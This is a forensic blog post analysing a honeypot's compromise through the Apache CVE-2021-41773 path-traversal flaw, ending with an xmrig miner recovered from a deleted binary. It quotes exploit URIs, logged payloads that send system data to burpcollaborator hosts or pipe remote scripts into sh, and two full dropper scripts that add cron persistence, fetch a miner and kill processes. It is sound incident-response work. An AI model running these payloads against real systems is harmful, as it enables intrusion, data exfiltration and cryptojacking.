Hudak’s Honeypot (Part 4)

This is part four in a series. Check out part one, part two, and part three if you missed them.

Reviewing the UAC data during the triage phase of our investigation, we noted two similar process hierarchies started on Nov 30. One started with parent PID 15851 and the other with parent PID 21783. The processes were running as the same “daemon” user as the web server. Looking at the UAC data under …/live_response/process/proc/<PID>/environ.txt shows essentially identical markers typical of CVE-2021-41773 exploitation:

HTTP_USER_AGENT=curl/7.79.1
REQUEST_METHOD=POST
REQUEST_URI=/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/bash
SCRIPT_NAME=/cgi-bin/../../../../../../../bin/bash

The “environ.txt” data shows that PID 15851 was started by a request from IP 5.2.72.226 and PID 21783 from 104.244.76.13.

Next I pivoted to the web logs in the image under /var/log/apache2, looking for entries that used the same “curl/7.79.1” user agent string. Many of the hits were from 116.202.187.77, which we researched in part three of this series. Here are the remaining hits with the matching user agent string:

107.189.14.119 - - [29/Nov/2021:21:27:46 +0000] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//bin/sh HTTP/1.1" 200 45 "-" "curl/7.79.1"
45.153.160.138 - - [29/Nov/2021:21:30:38 +0000] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//bin/curl HTTP/1.1" 404 196 "-" "curl/7.79.1"
185.165.171.175 - - [29/Nov/2021:21:33:42 +0000] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//bin/sh HTTP/1.1" 200 - "-" "curl/7.79.1"
185.31.175.231 - - [29/Nov/2021:22:07:03 +0000] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/bash HTTP/1.1" 200 53 "-" "curl/7.79.1"
185.56.80.65 - - [29/Nov/2021:22:09:25 +0000] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/bash HTTP/1.1" 200 53 "-" "curl/7.79.1"
185.243.218.50 - - [29/Nov/2021:22:11:50 +0000] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/bash HTTP/1.1" 200 53 "-" "curl/7.79.1"
109.70.100.34 - - [29/Nov/2021:22:13:14 +0000] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/bash HTTP/1.1" 200 53 "-" "curl/7.79.1"
109.70.100.26 - - [30/Nov/2021:16:04:46 +0000] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/bash HTTP/1.1" 200 53 "-" "curl/7.79.1"
5.2.72.226 - - [30/Nov/2021:16:19:28 +0000] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/bash HTTP/1.1" 200 - "-" "curl/7.79.1"
104.244.76.13 - - [30/Nov/2021:16:27:39 +0000] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/bash HTTP/1.1" 200 - "-" "curl/7.79.1"
91.234.192.109 - - [07/Dec/2021:13:57:42 +0000] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//bin/sh HTTP/1.1" 200 45 "-" "curl/7.79.1"

All of the IPs shown here are known Tor exit nodes, except for the final IP 91.234.192.109. According to WHOIS data, 91.234.192.109 is registered to Elisteka UAB, and small company in Lithuania.

Next I pulled the mod_dumpio data for these IPs from the error_log:

[Mon Nov 29 21:27:47.012697 2021]  echo Content-Type: text/plain; echo; id
[Mon Nov 29 21:30:38.095283 2021]  echo Content-Type: text/plain; echo; https://webhook.site/d9680fb0-b157-46a0-bc55-bcd195d139eb
[Mon Nov 29 21:33:42.311129 2021]  echo Content-Type: text/plain; echo;
[Mon Nov 29 22:07:04.059102 2021]  echo Content-Type: text/plain; echo; curl 8u3f3p0skq5deucdmc1xu88qnht8hx.burpcollaborator.net
[Mon Nov 29 22:09:25.063142 2021]  echo Content-Type: text/plain; echo; curl gk4ntxq0ayvl422lckr5kgyydpjh76.burpcollaborator.net
[Mon Nov 29 22:11:50.309729 2021]  echo Content-Type: text/plain; echo; cat /proc/cpuinfo | curl --data-binary @- cs8j1tywiu3hcyahkgz1sc6ullref3.burpcollaborator.net
[Mon Nov 29 22:13:14.410907 2021]  echo Content-Type: text/plain; echo; ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%cpu | head | curl --data-binary @- cs8j1tywiu3hcyahkgz1sc6ullref3.burpcollaborator.net
[Tue Nov 30 16:04:46.326600 2021]  echo Content-Type: text/plain; echo; id | curl --data-binary @- 7jrfbas00fc0onj2p41ovgegm7sxgm.burpcollaborator.net
[Tue Nov 30 16:19:28.956301 2021]  echo Content-Type: text/plain; echo; (curl https://tmpfiles.org/dl/168017/wk.sh | sh >/dev/null 2>&1 )&
[Tue Nov 30 16:27:39.818920 2021]  echo Content-Type: text/plain; echo; (curl https://tmpfiles.org/dl/168017/wk.sh | sh >/dev/null 2>&1 )&
[Tue Dec 07 13:57:42.522498 2021]  echo Content-Type: text/plain; echo; id

Unfortunately, all of these URLs were either unresponsive or returned “Not found” errors. It would have been the “hxxps://tmpfiles.org/dl/168017/wk.sh” URLs that started our suspicious process hierarchies.

In addition to the suspicious process hierarchies started on Nov 30, the UAC data also showed a suspicious agetty process (PID 24330) running as user daemon, started on Dec 5. …/live_response/process/proc/24330/environ.txt showed data matching the …/proc/15851/environ.txt data:

REMOTE_ADDR=5.2.72.226
REMOTE_PORT=47374
HTTP_USER_AGENT=curl/7.79.1

PWD=/tmp
OLDPWD=/tmp

REQUEST_METHOD=POST
REQUEST_URI=/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/bash
SCRIPT_NAME=/cgi-bin/../../../../../../../bin/bash
SCRIPT_FILENAME=/bin/bash
CONTEXT_PREFIX=/cgi-bin/
CONTEXT_DOCUMENT_ROOT=/usr/lib/cgi-bin/

The lsof data captured by UAC showed the process binary, /tmp/agettyd, was deleted. But since the process was still running at the time the disk image was captured, the inode data associated with the process executable was not cleared. The lsof data says the inode number is 30248, and recovering the deleted executable is now straightforward:

# icat /dev/loop0 30248 >/tmp/agetty-deleted
# md5sum /tmp/agetty-deleted
e83658008d6d9dc6fe5dbb0138a4942b  /tmp/agetty-deleted
# strings -a /tmp/agetty-deleted
[... snip ...]
Usage: xmrig [OPTIONS]
Network:
  -o, --url=URL                 URL of mining server
  -a, --algo=ALGO               mining algorithm https://xmrig.com/docs/algorithms
      --coin=COIN               specify coin instead of algorithm
  -u, --user=USERNAME           username for mining server
  -p, --pass=PASSWORD           password for mining server
  -O, --userpass=U:P            username:password pair for mining server
[... snip ...]

Ho hum, just another coin miner. Doubtless this is what was burning up the CPU in Tyler’s Azure image.

Wrapping Up

I estimate this investigation took me roughly eight hours, plus another eight hours to write up these blog posts. Is there more to investigate in this image? Most certainly! We’ve only scratched the surface of the mod_dumpio data in /var/log/apache2/error_log. There is still a great deal of data in there to keep your Threat Intel teams happy.

For example, how about this sequence:

[Sun Nov 07 10:39:12.876655 2021]  A=|echo;curl -s http://103.55.36.245/0_cron.sh -o 0_cron.sh || wget -q -O 0_cron.sh http://103.55.36.245/0_cron.sh; chmod 777 0_cron.sh; sh 0_cron.sh
[Sun Nov 07 10:52:33.141762 2021]  A=|echo;curl -s http://103.55.36.245/0_linux.sh -o 0_linux.sh || wget -q -O 0_linux.sh http://103.55.36.245/0_linux.sh; chmod 777 0_linux.sh; sh 0_linux.sh

Both of these URLs are responsive. Here’s “0_cron.sh”:

#!/bin/bash

(crontab -l 2> /dev/null; echo "* * * * * wget -q -O - http://103.55.36.245/0_linux.sh | sh > /dev/null 2>&1")| crontab -
(crontab -l 2> /dev/null; echo "* * * * * curl -s http://103.55.36.245/0_linux.sh | sh > /dev/null 2>&1")| crontab -; rm -rf 0_cron.sh

And here’s “0_linux.sh”:

#!/bin/bash

p=$(ps aux | grep -E 'linuxsys|jailshell' | grep -v grep | wc -l)
if [ ${p} -eq 1 ];then
    echo "Aya keneh proses. Tong waka nya!"
    exit
elif [ ${p} -eq 0 ];then
    echo "Sok bae ngalangkung weh!"
    # Execute linuxsys
    cd /dev/shm ; curl -s http://shumoizolyaciya.12volt.ua/wp-content/config.json -o config.json || wget -q -O config.json http://shumoizolyaciya.12volt.ua/wp-content/config.json; curl -s http://shumoizolyaciya.12volt.ua/wp-content/linuxsys -o linuxsys || wget -q -O linuxsys http://shumoizolyaciya.12volt.ua/wp-content/linuxsys; chmod +x linuxsys; ./linuxsys; rm -rf 0_linux.sh; rm -rf /tmp/*; rm -rf /var/tmp/*; rm -rf /tmp/.*; rm -rf /var/tmp/.*; rm -rf config.json; rm -rf linuxsys;
    # Kill All Process
    killall -9 kinsing; killall -9 kdevtmpfsi; killall -9 .zshrc; pkill -9 kinsing; pkill -9 kdevtmpfsi; pkill -9 .zshrc; pkill -9 lb64; pkill -9 ld-linux-x86-64; pkill -9 apac; pkill -9 sshd; pkill -9 syslogd; pkill -9 apache2; pkill -9 klogd; pkill -9 xmrig; pkill -9 sysls; pkill -9 bash; pkill -9 acpid; pkill -9 httpd; pkill -9 apach; pkill -9 apache; pkill -9 php; pkill -9 logo.gif; pkill -9 cron; pkill -9 go; pkill -9 logrunner; pkill -9 english; pkill -9 perl
fi

Google Translate identifies the language here as Sudanese (“There is still a process…”). Welcome to the global internet everybody!

1 thought on “Hudak’s Honeypot (Part 4)”

Comments are closed.